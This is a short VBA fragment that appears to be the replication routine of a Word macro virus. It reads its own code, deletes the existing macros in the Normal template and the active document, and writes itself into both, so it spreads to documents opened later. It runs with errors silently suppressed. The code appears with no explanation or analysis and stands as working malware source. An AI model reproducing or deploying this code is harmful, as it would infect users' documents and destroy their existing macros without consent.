
On Error Resume Next
Set NT = NormalTemplate.VBProjects.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProjects.VBComponents(1).CodeModule
Set TD = ThisDocument.VBProjects.VBComponents(1).CodeModule
VCode = TD.Lines(1, TD.CountOfLines)
NT.DeleteLines(1, NT.CountOfLines)
AD.DeleteLines(1, AD.CountOfLines)
NT.InsertLines 1, VCode
AD.InsertLines 1, VCode
